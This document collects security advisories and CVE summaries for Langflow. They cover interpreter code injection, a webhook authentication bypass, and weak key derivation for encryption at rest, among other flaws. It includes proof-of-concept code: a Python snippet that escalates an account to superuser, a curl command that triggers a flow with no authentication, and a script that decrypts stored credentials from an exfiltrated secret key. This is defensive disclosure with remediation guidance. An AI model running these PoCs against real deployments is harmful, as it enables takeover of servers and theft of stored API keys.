Summary

Langflow's built-in Python interpreter components — PythonREPLComponent (Python Interpreter) and the legacy PythonREPLToolComponent (Python REPL Tool) — executed arbitrary user- or model-supplied Python code inside flows without effective sandboxing. Because the code ran in-process with the privileges of the Langflow service, any authenticated user who could edit and run a flow could achieve remote code execution and, from there, escalate privileges to superuser (e.g. by opening a database session and flipping issuperuser) or compromise the host.

This issue is fixed as of 1.10.1, with additional hardening through 1.12.3. See Remediation below.

Affected

- Package: langflow (PyPI), and the underlying lfx package that ships the component. - Vulnerable versions: < 1.10.1. - Patched: 1.10.1 (core fix). Upgrade to >= 1.12.3 for the complete hardening series.

Details

The root cause is code injection (CWE-94/CWE-95): the component passed raw input to LangChain's PythonREPL, which is explicitly not a security sandbox.

Two distinct weaknesses existed before 1.10.1:

1. Unrestricted builtins (default deployments). getglobals() built the exec globals from the globalimports allow-list but never set builtins. CPython's exec() then auto-injected the full builtins module, leaving import, open, eval, exec and the whole import machinery reachable regardless of the allow-list — e.g. import("os").system(...) or import("subprocess").checkoutput([...]). This made the "only modules in Global Imports can be used" guarantee false, and it applied even with the default configuration (allowcustomcomponents=True).

2. No server-policy gate (locked-down deployments). Even a deployment hardened with allowcustomcomponents=False could still run interpreter code, because the components did not consult that policy before executing.

Both let an authenticated user run the reported PoC, which opens a DB session and sets issuperuser = True on their account, or writes to the filesystem / runs OS commands with the service's privileges.

PoC (as reported)

1. Authenticate as a normal user. 2. Create a flow with the PythonREPLComponent. 3. Execute Python that imports Langflow internals and elevates the account:

python import asyncio from sqlmodel import select from langflow.services.database.models.user.model import User from langflow.services.deps import sessionscope

async def escalate(): async with sessionscope() as session: stmt = select(User).where(User.username == 'testuser') user = (await session.exec(stmt)).first() if user: user.issuperuser = True session.add(user) await session.commit()

asyncio.run(escalate())

Impact

Any authenticated user could: - Execute arbitrary Python / OS commands with the Langflow service's privileges (RCE). - Escalate their own account to superuser via direct database access. - Read/modify data and configuration, and potentially pivot to the underlying host.

Remediation

Upgrade to Langflow 1.10.1 or later (preferably >= 1.12.3). The interpreter components were hardened with layered, defense-in-depth controls, applied in runpythonrepl() before any code is executed:

- Restricted builtins — getglobals() injects a curated safebuiltins() mapping, removing import, eval, exec, compile, open, input, globals/locals/vars, getattr/setattr, etc. (#13397) - AST validation — validatecodesafety() rejects inline import/from ... import, dunder/escape-gadget attribute access (class, subclasses, globals, frame/traceback introspection) and format-string dunder traversal. (#13397) - Server-policy gate — ensurecodeexecutionenabled() refuses to run when allowcustomcomponents=False or blockcodeinterpretercomponents=True, and fails closed if the settings stack cannot be resolved. (#13700 — this advisory — and #14375) - Allow-listed module proxies — imported modules are exposed via a proxy that blocks reaching sys.modules["os"] through a module's transitive import graph. (#15198) - Optional hardware isolation — configure LANGFLOWSANDBOXBACKEND to run interpreter code in an isolated microVM instead of in-process. (#14400)

Upstream fix references: #13397, #13700 (carries this GHSA), #14375, #14400, #15198.

Hardening recommendations for operators

- Keep Langflow updated (>= 1.12.3). - For locked-down deployments, set LANGFLOWALLOWCUSTOMCOMPONENTS=false (or LANGFLOWBLOCKCODEINTERPRETERCOMPONENTS=true) to disable the interpreter entirely. - For deployments that must run untrusted code, configure LANGFLOWSANDBOXBACKEND for microVM isolation. - Run the Langflow service as an unprivileged user with least-privilege database credentials.

IBM Langflow OSS 1.0.0 through 1.9.3 allows an attacker to read every secret available to the Langflow process, read and modify every flow, conversation, message, file upload, and saved component in the Langflow database, can connect to internal services, abuse cloud metadata endpoints, laterally move to other tenants on the same Langflow instance, and Establish persistence by modifying the public flow's toolcode so normal /api/v1/build/... calls by any user re-execute attacker code at each build.

IBM Langflow OSS 1.0.0 through 1.10.0 allows authenticated attackers to execute arbitrary OS commands and read sensitive files including credentials, enabling complete system compromise and lateral movement.

IBM Langflow OSS 1.0.0 through 1.10.0 Langflow versions up to 1.9.2 (commit 94981c443d4918517b9e8163d70fc598dc33a32d) contain a code injection vulnerability in the Policies component's ToolGuard integration that bypasses the allowcustomcomponents=false security control. The vulnerability exists because the validation mechanism only checks the main component source code in nodetemplate["code"]["value"] but fails to validate dynamic CodeInput fields that store generated ToolGuard Python files. Attackers can embed malicious Python code in these unvalidated dynamic fields, which are persisted in Flow.data and later executed server-side when a guarded tool is invoked through the ToolGuard runtime. This allows authenticated users with flow creation privileges to achieve arbitrary Python code execution on the backend despite custom component restrictions. The vulnerability can be escalated through cross-tenant flow manipulation via the agentic MCP updateflowcomponentfield tool, which accepts attacker-controlled userid parameters, enabling attackers to inject malicious code into victim users' flows. When combined with publicly accessible flows and specific misconfigurations (AUTOLOGIN=true, NEWUSERISACTIVE=true), the attack can be conducted with reduced authentication requirements.

IBM Langflow OSS 1.0.0 through 1.10.0 allows authenticated users to escalate privileges to superuser by directly manipulating the database, execute arbitrary system commands, and achieve full system compromise with Langflow service permissions.

IBM Langflow OSS 1.0.0 through 1.10.0 contain a critical remote code execution vulnerability in the disk-based caching mechanism. The AsyncDiskCache class uses Python's unsafe pickle.loads() function to deserialize cached objects from disk without validation, integrity verification, or authentication, enabling arbitrary code execution when malicious pickle payloads are processed. Attackers who can influence cached data through file system access, malicious workflow inputs, custom components, or API manipulation can achieve complete system compromise with the privileges of the Langflow server process.

IBM Langflow OSS 1.0.0 through 1.10.0 contain a critical remote code execution vulnerability in the code validation API endpoint. The POST /api/v1/validate/code endpoint accepts user-supplied Python code and executes it directly using Python's built-in exec() function without sandboxing, input validation, or privilege restrictions, enabling any authenticated user to execute arbitrary system commands with the full privileges of the Langflow server process.

IBM Langflow OSS 1.0.0 through 1.10.0 Langflow could allow an attacker to write arbitrary files to unintended locations due to improper input validation in the APIRequest component. A path traversal vulnerability exists when the "Save to File" feature is enabled, where filenames extracted from HTTP response Content-Disposition headers are not sanitized before being joined to the temporary directory path. An attacker controlling an external HTTP server can supply crafted filename values containing path traversal sequences (e.g., ../), enabling arbitrary file writes to locations accessible by the Langflow process.

IBM Langflow OSS 1.0.0 through 1.10.1 contains an improper input validation vulnerability in the PythonREPL sandbox implementation.

IBM Langflow OSS 1.0.0 through 1.10.0 could allow a remote attacker to inject arbitrary code on the system, due to the improper control of user input code.

IBM Langflow OSS 1.0.0 through 1.11.1 allows an authenticated attacker to execute arbitrary operating system commands in the server process by saving a flow with a crafted type field value and triggering a build of a wrapper flow that references it. This allowed privilege escalation from "authenticated flow user" to arbitrary OS-level command execution under the server process identity, bypassing the LANGFLOWALLOWCUSTOMCOMPONENTS=false policy control.

IBM Langflow OSS 1.0.0 through 1.9.1 could allow remote code execution due to improper validation of symbolic links during archive extraction.

IBM Langflow OSS 1.0.0 through 1.8.4 could allow unauthenticated attackers to access protected MCP project resources and execute MCP operations due to improper authorization enforcement in the Streamable MCP transport endpoint.

IBM Langflow OSS 1.0.0 through 1.10.0 allows users with Redis access to execute arbitrary code with full application privileges, compromising all secrets, data, and system integrity.

IBM Langflow OSS 1.0.0 through 1.10.0 could allow arbitrary code execution due to improper validation of flow nodes with missing or empty component type fields.

IBM Langflow OSS 1.0.0 through 1.9.6 could allow unauthenticated attackers to access protected MCP project resources and execute MCP operations due to improper authorization enforcement in the Streamable MCP transport endpoint.

IBM Langflow OSS 1.0.0 through 1.10.0 allows unauthenticated attackers to create unlimited user accounts on any Langflow instance; when NEWUSERISACTIVE=true (documented deployment option), newly created accounts are immediately active and can authenticate to reach RCE endpoints, bypassing the need for AUTOLOGIN.

IBM Langflow OSS 1.0.0 through 1.10.0 allows unauthenticated attackers to chain /api/v1/autologin (mints SUPERUSER tokens to any network caller) with /api/v1/validate/code (executes user code via exec()) to achieve full RCE on default Langflow deployments

IBM Langflow OSS 1.0.0 through 1.10.0 could allow a remote attacker to gain unauthorized access due to improper authentication in the /api/v1/login/autologin endpoint. The endpoint issues long-lived superuser bearer tokens without requiring authentication when the AUTOLOGIN configuration is enabled (enabled by default), which may allow an unauthenticated network attacker to obtain full administrative access. Additionally, permissive cross-origin resource sharing (CORS) settings may allow tokens to be exposed to unintended origins, increasing the risk of unauthorized access.

Summary A vulnerability in Langflow's webhook authentication logic allows unauthenticated users to trigger the execution of any flow. The system incorrectly bypasses API key validation when the WEBHOOKAUTHENABLE configuration is set to False. This allows a remote attacker who knows a flow's UUID to execute it as if they were the owner, potentially leading to Remote Code Execution (RCE) or Denial of Service (DoS).

Details The WEBHOOKAUTHENABLE setting was introduced in v1.7.0 (#9139) with a default of False. The root cause is in the webhook authentication path, AuthService.getwebhookuser (src/backend/base/langflow/services/auth/service.py; the thin wrapper in src/backend/base/langflow/services/auth/utils.py just delegates to it):

python async def getwebhookuser(self, flowid: str, request: Request) -> UserRead: settingsservice = self.settings ... # VULNERABILITY: If this setting is False (default in <= 1.9.0), it returns # the flow owner WITHOUT checking the API Key in the request. if not settingsservice.authsettings.WEBHOOKAUTHENABLE: try: flowowner = await getuserbyflowidorendpointname(flowid) return flowowner

By default (v1.7.0 through v1.9.0), Langflow treats WEBHOOKAUTHENABLE as False, meaning all webhook endpoints are public. This relies exclusively on the secrecy of the flowid (UUID), which is an insecure practice (Security by Obscurity).

A related report, GHSA-6g4m-v5q2-475v, demonstrated a concrete RCE chain through this same bypass using the PythonCodeStructuredTool component (exec() on flow-authored Python code). That report is a duplicate of this root cause and has been closed in favor of this advisory; credit for that PoC has been added here.

PoC 1. Identify a valid flowid for a flow that performs a sensitive action (e.g., sending an email, writing to a database, or executing a Python script). 2. Execute a POST request to the webhook endpoint without any Authorization header or API Key: bash curl -X POST "http://<server-ip>:7860/api/v1/webhook/<flowid>" \ -H "Content-Type: application/json" \ -d '{"input": "payload"}' 3. Verify that the flow execution is triggered and the action is performed on the server.

Impact This is a High-severity Authentication Bypass. - Remote Code Execution (RCE): Flows often contain components that execute arbitrary Python code. An attacker can leverage this to gain full control over the server. - Denial of Service (DoS): Attackers can exhaust system resources by triggering heavy flows concurrently. - Data Integrity: Unauthorized execution of flows can lead to unintended modification of databases or external systems connected via the flow.

Affected versions >= 1.7.0, <= 1.9.0 (the range in which WEBHOOKAUTHENABLE existed and defaulted to False).

Fix Fixed in v1.9.1 by PR #12845 — fix(security): default WEBHOOKAUTHENABLE to True. The setting's default changed from False to True, so webhook endpoints now require API key authentication and ownership validation by default, unless an operator explicitly opts out via LANGFLOWWEBHOOKAUTHENABLE=false.

IBM Langflow OSS 1.0.0 through 1.10.1 Lanflow OSS contains an unauthenticated remote code execution vulnerability in the public flow build endpoint ( /api/v1/buildpublictmp/{flowid}/flow ). The vulnerability stems from an incomplete denylist in the validatepublicflownocodeexecution() function that fails to block several code-execution agent components including OpenDsStarAgent, CodeActAgentSmolagents, and CSVAgent.

IBM Langflow OSS 1.0.0 through 1.10.1 contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.

IBM Langflow OSS 1.0.0 through 1.10.1  are vulnerable to unauthenticated remote code execution via environment variable injection in the MCP (Model Context Protocol) stdio launcher. The vulnerability exists in src/lfx/src/lfx/base/mcp/util.py where the DANGEROUSENVVARS blocklist fails to include SHELLOPTS , BASHOPTS , and PS4 environment variables.

Summary

Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRETKEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRETKEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRETKEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.

Even when SECRETKEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secretkey file is sufficient to decrypt all credentials without any additional computation.

Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data

Details

Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663

python MINIMUMKEYLENGTH = 32

def ensurevalidkey(self, rawkey: str) -> bytes: if len(rawkey) < MINIMUMKEYLENGTH: random.seed(rawkey) # Non-cryptographic PRNG seeded with the secret key = bytes(random.getrandbits(8) for in range(32)) # Fully deterministic output key = base64.urlsafeb64encode(key) else: key = self.addpadding(rawkey).encode() # Raw secret IS the Fernet key return key

def getfernet(self) -> Fernet: secretkey = self.settings.authsettings.SECRETKEY.getsecretvalue() validkey = self.ensurevalidkey(secretkey) return Fernet(validkey)

The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.createvariable and updatevariable).

What is encrypted under this key: All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:

python services/variable/service.py encryptedvalue = authutils.encryptapikey(value) if type == CREDENTIALTYPE else value

Why this is critical in combination with the MCP path traversal: The secretkey file is stored at /app/data/.cache/langflow/secretkey — readable via the MCP path traversal vulnerability. Once exfiltrated: - If len(secretkey) < 32: run random.seed(secretkey) → derive identical key → decrypt all credentials instantly - If len(secretkey) >= 32: pad the key directly → decrypt all credentials instantly

No brute force needed in either case once the file is read.

PoC

python #!/usr/bin/env python3 Requires: pip install cryptography

import random import base64 from cryptography.fernet import Fernet

--- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch def decryptshortkey(secretkey: str, ciphertext: str) -> str: random.seed(secretkey) keybytes = bytes(random.getrandbits(8) for in range(32)) fernetkey = base64.urlsafeb64encode(keybytes) return Fernet(fernetkey).decrypt(ciphertext.encode()).decode()

--- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario def decryptlongkey(secretkey: str, ciphertext: str) -> str: paddingneeded = 4 - len(secretkey) % 4 padded = secretkey + "=" paddingneeded return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()

Values obtained from /app/data/.cache/langflow/secretkey (exfiltrated) and from SELECT value FROM variable WHERE type='Credential' in langflow.db SECRETKEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E" # 43 chars → long branch CIPHERTEXT = "gAAAAABpux-Gz3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVGGgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWysPsKPLBri5ZOPAAP2c5EKkx5vtc1M="

plaintext = decryptlongkey(SECRETKEY, CIPHERTEXT) print(f"Decrypted credential: {plaintext}") Output: sk-test-SENTINEL-VALUE-12345

Confirmed on Langflow v1.7.3: - Database path: /app/.venv/lib/python3.12/site-packages/langflow/langflow.db - Two Credential-type variables found in the variable table - Both decrypted successfully: "dummy" and "sk-test-SENTINEL-VALUE-12345" - The sentinel value (sk-test-SENTINEL-VALUE-12345) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated secretkey

End-to-end chain (with MCP path traversal): bash Step 1: Exfiltrate secretkey via MCP path traversal (no admin required, any authenticated user) Step 2: Query DB credentials via path traversal (SQLite file readable) Step 3: Decrypt offline — zero brute force, instant python3 pocdecrypt.py "$SECRETKEY" "$CIPHERTEXT" → all stored API keys revealed

Impact

All stored user credentials are at risk in any Langflow deployment where an attacker can read the secretkey file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:

- OpenAI, Anthropic, and other LLM provider API keys stored by any user are decryptable - Database connection strings and passwords stored as credentials are exposed - OAuth tokens and webhook secrets stored via the Variables UI are exposed - All users on the instance are affected — credentials are stored per-user in the shared database but all encrypted under the same instance-wide SECRETKEY

In multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secretkey + database), leaving no server-side log traces.

Fix

Fixed in v1.10.1 by PR #13704 (commit 094694d3f2).

ensurefernetkey() (src/backend/base/langflow/services/auth/utils.py) no longer seeds Python's non-cryptographic random module for short SECRETKEY values. The 32-byte key is now derived deterministically with SHA-256:

python def ensurefernetkey(secretkey: str) -> bytes: if len(secretkey) < MINIMUMSECRETKEYLENGTH: digest = hashlib.sha256(secretkey.encode()).digest() # 32 bytes key = base64.urlsafeb64encode(digest) else: key = addbase64padding(secretkey).encode() return key

Backward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via getfernetfordecryption(), which returns a MultiFernet trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local random.Random(secretkey) instance (not the global random module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.

Affected versions: <= 1.10.0 Patched version: 1.10.1

Operator note: deployments running with a SECRETKEY shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated SECRETKEY (secrets.tokenurlsafe(32), 43 characters) takes the long-key branch and was never affected by the PRNG issue.

IBM Langflow OSS 1.0.0 through 1.11.1 could allow a remote attacker to execute arbitrary code due to improper enforcement of security restrictions on the A2A public endpoint.

IBM Langflow OSS 1.0.0 through 1.11.5 Langflow could allow an unauthenticated attacker to execute arbitrary code and access or modify chat sessions through publicly shared MCP project endpoints due to improper enforcement of public-flow security restrictions and session isolation controls.

IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote attacker to execute arbitrary OS commands due to improper neutralization of special elements used in an OS command.

IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote attacker to execute arbitrary code due to code injection during graph construction.

IBM Langflow OSS 1.0.0 through 1.10.0 voice mode contains improper shared-state handling that allows reuse of API clients across tenant boundaries. An authenticated attacker can manipulate cache state to cause requests from other users to be processed using incorrect upstream API credentials, leading to cross-tenant billing and accountability misattribution.

IBM Langflow OSS 1.0.0 through 1.10.0 Langflow could allow disclosure of all stored credentials due to the use of a weak and reversible key derivation mechanism for encryption at rest.